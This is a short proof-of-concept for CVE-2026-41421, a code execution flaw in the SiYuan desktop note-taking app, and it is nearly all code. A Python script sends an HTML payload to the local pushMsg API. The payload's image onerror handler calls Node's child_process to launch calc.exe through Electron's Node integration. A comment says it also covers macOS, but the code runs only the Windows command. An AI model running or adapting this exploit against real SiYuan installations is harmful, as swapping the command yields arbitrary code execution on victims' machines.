CVE-2026-41421 SiYuan 桌面版代码执行漏洞

import requests import json # Target URL for the vulnerable SiYuan instance target_url = "http://localhost:6806/api/notification/pushMsg" # Malicious payload leveraging Node.js integration in Electron # This payload attempts to execute 'calc.exe' on Windows or 'open -a Calculator' on macOS payload = "<img src=x onerror=\"require('child_process').exec('calc.exe')\">" data = { "msg": payload } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, data=json.dumps(data), headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check if the calculator pops up.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")